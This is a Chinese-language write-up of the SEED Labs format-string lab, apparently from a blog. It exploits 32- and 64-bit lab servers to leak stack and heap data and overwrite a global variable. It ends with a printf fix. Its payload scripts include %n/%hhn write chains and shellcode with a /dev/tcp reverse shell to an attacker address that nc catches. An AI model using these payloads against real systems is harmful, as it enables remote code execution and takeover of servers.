SEEDLabs Format String

该文详细描述了如何利用格式字符串漏洞对32位和64位服务器进行攻击,包括导致程序崩溃、读取栈上信息、读取堆上隐藏信息以及修改全局变量的值。此外,还展示了如何通过输入攻击修改返回地址,执行shellcode以实现reverseshell。文章最后提到了解决此类攻击的初步方法,即修改printf的参数使用方式。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SEEDLabs Format String

实验原理

攻击目标代码中含有以下代码片段:

unsigned int target = 0x11223344;
char* secret = "A secret message\n";
void myprintf(char* msg) {
	// This line has a format-string vulnerability
	printf(msg);
}
int main(int argc, char** argv) {
    char buf[1500];
    int length = fread(buf, sizeof(char), 1500, stdin);
    printf("Input size: %d\n", length);
    myprintf(buf);
    return 1;
}

fread() 有长度限制,因此能保证 strstdin 中读取 1500 个字节。

printf() 中只有格式化字符串,而没有对应的参数,因此运行时栈上格式化字符串之后的(向高地址方向)的内容误当作参数来执行指令:

  • 这种情况下,可以使用 %x 等格式不断移动读取参数的指针。由于 %x 只占两个字节,而指针移动四个字节,因此可以将指针移动到直到指定位置;

  • 再通过格式化字符串中的 %s%n(以当前参数为地址写入目前已打印字节数)进行任意读写操作,达到攻击目的。

环境准备

① 首先此次实验需要关闭地址随机化,才能精确计算指针偏移位置:

$ sudo /sbin/sysctl -w kernel.randomize_va_space=0

若设为 1 则对栈进行地址随机化;若设为 2 则对堆和栈都进行地址随机化。

② 在 server-code 中依据 Makefile 编译服务器代码 stack.cformat.c ,并将可执行文件复制到 fmt-containers 中:

$ make
$ make install

编译过程中会报如下 warning,是由gcc编译器针对格式字符串漏洞实现的对策生成的:

请添加图片描述

③ 最后,需要使用 docker-compose.yml 配置并启动 docker container

$ dcbuild
$ dcup

Task 1

实验目标: 对 32 位的目标服务器 10.9.0.5 进行输入攻击,使其程序崩溃。

实验方案: 可以直接使用 %n 进行写操作,当程序无法正常返回时,不会打印 (ˆ_ˆ)(ˆ_ˆ) Returned properly (ˆ_ˆ)(ˆ_ˆ)

实验步骤:

① 对服务器发送一般的字符串,观察正确返回的现象:

$ echo hello | nc 10.9.0.5 9090

请添加图片描述

② 使用 build_string.py 生成 badfile ,内容填充如下,并发送给服务器:

s = "%x"*1 + "%n"*749
fmt  = (s).encode('latin-1')
content[0:len(fmt)] = fmt
$ ./build_string.py
$ cat badfile | nc 10.9.0.5 9090

观察到程序无法正确返回:

请添加图片描述

Task 2

2.A

实验目标: 对 32 位的目标服务器 10.9.0.5 进行输入攻击,打印出其栈上的信息,直到打印出 buffer 的内容。

实验方案: 在 buffer 开头放一段特殊字符,再放入格式化字符串;刚开始输出较多的 %x ;再逐渐较少个数,直至打印出特殊字符;

实验步骤:

① buffer 开头填充 0xaaaaaaaa ,便于查找;使用 build_string.py 生成 badfile ,内容填充如下,并发送给服务器:

number = 0xaaaaaaaa
content[0:4] = (number).to_bytes(4,byteorder='little')
s = "%x" * 64
fmt = (s).encode('latin-1')
content[4:4+len(fmt)] = fmt
$ ./build_string.py
$ cat badfile | nc 10.9.0.5 9090

② 经过反复尝试,%x 个数位 64 时正好打印出 buffer 开始的 4 个字节:

请添加图片描述

2.B

实验目标: 对 32 位的目标服务器 10.9.0.5 进行输入攻击,打印出其堆上的隐藏信息。

实验方案: 使用 Task 2 获得的偏移量,将前 4 个字节换位隐藏信息的起始地址,使用 %s 读取隐藏信息(字符串)

实验步骤:

① 对服务器发送一般的字符串,获得隐藏信息的地址:

$ echo hello | nc 10.9.0.5 9090

请添加图片描述

② 将 buffer 起始位置换成隐藏信息的起始地址;将最后一个 %x 换为 %s ;使用 build_string.py 生成 badfile ,内容填充如下,并发送给服务器:

number = 0x080b4008
content[0:4] = (number).to_bytes(4,byteorder='little')
s = "%x" * 63 + "%s"
fmt = (s).encode('latin-1')
content[4:4+len(fmt)] = fmt
$ ./build_string.py
$ cat badfile | nc 10.9.0.5 9090

可以观察到打印出了隐藏信息:

请添加图片描述

Task 3

3.A

实验目标: 对 32 位的目标服务器 10.9.0.5 进行输入攻击,将全局变量 target 的值修改为任意值

实验方案:buffer 分为前后两部分:前一部分放置格式化字符串的参数,后一部分放置相关参数(例如 target 的地址);使用若干 %x 将指针移动到 buffertarget 地址的位置上,再使用 %n 对该位置进行输出,以修改 target 的值

实验步骤:

① 前面实验中已获得 target 的地址和原始值:

请添加图片描述

② 将 target 地址放在 buffer 的1000 位;刚开始输出较多的 %x ,再逐渐较少个数;经过反复实验,得到当 %x 的个数为 314 时正好将地址 0x080e5068 打印出来:

请添加图片描述

③ 使用 build_string.py 生成 badfile ,内容填充如下,并发送给服务器:

# Task 3 sub A
# %x 的个数减少一个,正好指向 buffer 的第 1000 位,即 target 的地址
s = "%x" * (314 - 1) + "%n"
fmt = (s).encode('latin-1')
content[0:len(fmt)] = fmt
number = 0x080e5068
content[1000:1004] = (number).to_bytes(4,byteorder='little')
$ ./build_string.py
$ cat badfile | nc 10.9.0.5 9090

④ 观察到 target 的值由原来的 0x11223344 变为了 0x0000062c ,说明之前一共打印了 1580 个字节:

请添加图片描述

3.B

实验目标: 对 32 位的目标服务器 10.9.0.5 进行输入攻击,将全局变量 target 的值修改为 0x00005000

实验方案: 前面已知输出字节数为 1580(0x62c),因此利用 %d 一次性输入多个字节(要注意 %d 也会使指针偏移),使得输出字节数的低位凑到某一需要的数值;

因为 X86 的内存布局是小端模式,可以使用 %hhn 截取低位逐字节打印,并且要从高地址往低地址方向打印;

实验步骤:

① 由于 0x?000x?00 相差 256 个字节, 0x?000x?50 相差 336 个字节, 0x?500x?00 相差 256 个字节,将后面三个 %d 的宽度设置为这三个值;第一个 %d 计算应当取 148 ;观察 target 的值的变化:

请添加图片描述

可以看到,第三个字节与其他的相差 0x50 ,但是第一个 %d 计算错误,这是由于没有考虑到原来打印出的 0 现在对应位置上并不是 0。可以计算得到 "%x" * (314 - 1) + "%n" 的长度为 628,"%x" * (312) + "%156d" + "%hhn" + "%256d" + "%hhn" + "%336d" + "%hhn" + "%176d" + "%hhn" 的长度为 660 ,相当于少打印了 (660-628)/4=80 , 应当再增加 8 个字节的打印量,得到 148+8=156

② 使用 build_string.py 生成 badfile ,内容填充如下,并发送给服务器:

# 通过计算得到这些数值,例如 0x?50 和 0x?00 相差 336 个字节,所以使用 %366d 一次性输出
s = "%x" * (312) + "%156d" + "%hhn" + "%256d" + "%hhn" + "%336d" + "%hhn" + "%176d" + "%hhn"
fmt = (s).encode('latin-1')
content[0:len(fmt)] = fmt

# X86 是小端模式,因此地址从高到低打印 0x00 0x00 0x50 0x00
# 由于 %d 也会使指针偏移,因此地址间相差 4 个字节
addr1 = 0x080e506b
content[1000:1004] = (addr1).to_bytes(4,byteorder='little')
addr2 = 0x080e506a
content[1008:1012] = (addr2).to_bytes(4,byteorder='little')
addr3 = 0x080e5069
content[1016:1020] = (addr3).to_bytes(4,byteorder='little')
addr4 = 0x080e5068
content[1024:1028] = (addr4).to_bytes(4,byteorder='little')
$ ./build_string.py
$ cat badfile | nc 10.9.0.5 9090

③ 观察到 target 的值由原来的 0x11223344 变为了 0x00005000
请添加图片描述

3.C

实验目标: 对 32 位的目标服务器 10.9.0.5 进行输入攻击,将全局变量 target 的值修改为 0xaabbccdd

实验方案: 与 3.B 类似,这时要将输出的字节数凑到 0x?aa ,相比于 0x?00 增加了 170 个字节数,只要让第一个 %d 的字节数再增加 170 ;且 aabb 之间相差了 273 个字节,剩下的 %d 的字节数都改为 273

实验步骤:

① 使用 build_string.py 生成 badfile ,内容填充如下,并发送给服务器:

# 通过计算得到这些数值,326 = 156 + 170; 0xbb - 0xaa = 173
s = "%x" * (312) + "%326d" + "%hhn" + "%273d" + "%hhn" + "%273d" + "%hhn" + "%273d" + "%hhn"
fmt = (s).encode('latin-1')
content[0:len(fmt)] = fmt

# X86 是小端模式,因此地址从高到低打印 0xaa 0xbb 0xcc 0xdd
# 由于 %d 也会使指针偏移,因此地址间相差 4 个字节
addr1 = 0x080e506b
content[1000:1004] = (addr1).to_bytes(4,byteorder='little')
addr2 = 0x080e506a
content[1008:1012] = (addr2).to_bytes(4,byteorder='little')
addr3 = 0x080e5069
content[1016:1020] = (addr3).to_bytes(4,byteorder='little')
addr4 = 0x080e5068
content[1024:1028] = (addr4).to_bytes(4,byteorder='little')
$ ./build_string.py
$ cat badfile | nc 10.9.0.5 9090

④ 观察到 target 的值由原来的 0x11223344 变为了 0xaabbccdd

请添加图片描述

Task 4

实验目标: 对 32 位的目标服务器 10.9.0.5 进行输入攻击,在 Task 3 任意写的基础上,修改返回地址,执行 buffer 中的 shellcode ,以达到 reverse shell 的目的

实验方案: 输出结果中,可以看到 myprintf() 中 frame pointer 的地址,即 %ebp 的地址,因此我们可以修改这个 %ebp 往高地址方向 4 个字节位置的 return address 来劫持控制流;

实验步骤:

① 获得 frame pointer 和 buffer 地址,因此 return address 地址为 0xffffd45c 开始:
请添加图片描述

② 将 shellcode 放在 buffer 偏移 1200 的位置,计算得到需要修改的返回地址为 0xffffd9e0 ,使用 Task 3 的方法计算 %d 的宽度;先将计算得到的地址写入 Task 3 中的 target ,检验 %d 的宽度是否设置正确:

请添加图片描述

③ 使用 build_string.py 生成 badfile ,内容填充如下:

  • 已知本地 IP 为 10.9.0.1 ,修改 shellcode 时需要注意对齐
import sys
# 32-bit Generic Shellcode 
shellcode_32 = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # The * in this line serves as the position marker         *
   "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1           *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

N = 1500
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))

# Choose the shellcode version based on your target
shellcode = shellcode_32

# Put the shellcode somewhere in the payload
start = 1200               # Change this number
content[start:start + len(shellcode)] = shellcode

# 0xffffd530 + 1200 = 0xffffd530 + 0x4b0 = 0xffffd9e0
s = "%x" * (312) + "%335d" + "%hhn" + "%256d" + "%hhn" + "%218d" + "%hhn" + "%263d" + "%hhn"
fmt = (s).encode('latin-1')
content[0:len(fmt)] = fmt

# ebp at 0xffffd458, return at 0xffffd45c
addr1 = 0xffffd45f
content[1000:1004] = (addr1).to_bytes(4,byteorder='little')
addr2 = 0xffffd45e
content[1008:1012] = (addr2).to_bytes(4,byteorder='little')
addr3 = 0xffffd45d
content[1016:1020] = (addr3).to_bytes(4,byteorder='little')
addr4 = 0xffffd45c
content[1024:1028] = (addr4).to_bytes(4,byteorder='little')

# Save the format string to file
with open('badfile', 'wb') as f:
  f.write(content)
$ ./exploit.py

③ 在另一个终端监听 9090 端口,将 badfile 发送给 10.9.0.5,观察到 reverse shell :

$ cat badfile | nc 10.9.0.5 9090
$ nc -nv -l 9090

请添加图片描述
查看 10.9.0.5 的 docker ID ,确实是 93401afe8c67,说明攻击成功:

请添加图片描述

Task 5

实验目标: 对 64 位的目标服务器 10.9.0.6 进行输入攻击,在 Task 3 任意写的基础上,修改返回地址,执行 buffer 中的 shellcode ,以达到 reverse shell 的目的。

实验方案: 与 Task 4 不同之处在于,64 位的地址高位是 0,会阻断 printf 的解析过程,因此要把 buffer 中格式化字符串放在返回地址之前,并且在修改返回地址时,只需要修改前 6 个字节,剩下两个字节本身就是 0 ,不需要修改

实验步骤:

① 首先对服务器发送一般的字符串,获得各类地址和数据:

$ echo hello | nc 10.9.0.6 9090

请添加图片描述

② 将 target 地址放在 buffer 的1000 位;刚开始输出较多的 %p ,再逐渐较少个数;经过反复实验,得到当 %p 的个数为 159 时正好将地址 0x555555558010 打印出来:

请添加图片描述

③ 将 shellcode 放在 buffer 偏移 1200 的位置,计算得到需要修改的返回地址为 0x7fffffffe930 ;使用 Task 3 的方法计算 %lld 的宽度,先将计算得到的地址写入 target ,检验 %lld 的宽度是否设置正确,可以看到 target 的值的后 6 个字节变成了 0x7fffffffe930 ,说明计算正确:

# 0x00007fffffffe480 + 1200 = 0x00007fffffffe930
s = "%p"*(159 - 2) + "%174lld"+"%hhn"+"%128lld"+"%hhn"+"%256lld"+"%hhn"+"%256lld"+"%hhn"+"%234lld"+"%hhn"+"%71lld"+"%hhn"
fmt = (s).encode('latin-1')
content[0:len(fmt)] = fmt

# target at 0x0000555555558010
addr1 = 0x0000555555558015
content[1000:1008] = (addr1).to_bytes(8,byteorder='little')
addr2 = 0x0000555555558014
content[1016:1024] = (addr2).to_bytes(8,byteorder='little')
addr3 = 0x0000555555558013
content[1032:1040] = (addr3).to_bytes(8,byteorder='little')
addr4 = 0x0000555555558012
content[1048:1056] = (addr4).to_bytes(8,byteorder='little')
addr5 = 0x0000555555558011
content[1064:1072] = (addr5).to_bytes(8,byteorder='little')
addr6 = 0x0000555555558010
content[1080:1088] = (addr6).to_bytes(8,byteorder='little')

请添加图片描述

④ 用 ③ 中计算得到的格式化字符串,换成目标返回地址(即 %rbp+8 ),将生成的 badfile 传给 10.9.0.6,就可以看到 reverse shell 的现象:

#!/usr/bin/python3
import sys

# 64-bit Generic Shellcode 
shellcode_64 = (
   "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
   "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
   "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
   "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # The * in this line serves as the position marker         *
   "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1           *"
   "AAAAAAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBBBBBB"   # Placeholder for argv[1] --> "-c"
   "CCCCCCCC"   # Placeholder for argv[2] --> the command string
   "DDDDDDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

N = 1500
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))

# Choose the shellcode version based on your target
shellcode = shellcode_64

# Put the shellcode somewhere in the payload
start = 1200               # Change this number
content[start:start + len(shellcode)] = shellcode

# 0x00007fffffffe480 + 1200 = 0x00007fffffffe930
s = "%p"*(159 - 2) + "%174lld"+"%hhn"+"%128lld"+"%hhn"+"%256lld"+"%hhn"+"%256lld"+"%hhn"+"%234lld"+"%hhn"+"%71lld"+"%hhn"
fmt = (s).encode('latin-1')
content[0:len(fmt)] = fmt

# %rsp at 0x00007fffffffe430; return address at 0x00007fffffffe438
addr1 = 0x00007fffffffe43d
content[1000:1008] = (addr1).to_bytes(8,byteorder='little')
addr2 = 0x00007fffffffe43c
content[1016:1024] = (addr2).to_bytes(8,byteorder='little')
addr3 = 0x00007fffffffe43b
content[1032:1040] = (addr3).to_bytes(8,byteorder='little')
addr4 = 0x00007fffffffe43a
content[1048:1056] = (addr4).to_bytes(8,byteorder='little')
addr5 = 0x00007fffffffe439
content[1064:1072] = (addr5).to_bytes(8,byteorder='little')
addr6 = 0x00007fffffffe438
content[1080:1088] = (addr6).to_bytes(8,byteorder='little')

# Save the format string to file
with open('badfile', 'wb') as f:
  f.write(content)
$ ./exploit.py
$ nc -nv -l 9090
$ cat badfile | nc 10.9.0.6 9090

请添加图片描述

查看 10.9.0.6 的 docker ID ,确实是 b6e6c9b44d19,说明攻击成功:

5_dockps

Task 6

实验目标: 解决前面的输入攻击问题

实验方案: 被攻击代码中 pintf() 直接将字符串作为第一个参数输出,因此会被利用为格式化字符串,只需将其作为普通参数传入即可

实验步骤:

① 修改 format.c ,将 msg 作为 %s 的参数打印:

// This line has a format-string vulnerability
// printf(msg);
printf("%s", msg);

② 重新编译、创建环境,发现不会出现 warning:

请添加图片描述

③ 使用上面的方法尝试打印栈上信息,并不能成功:
请添加图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Air浩瀚

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值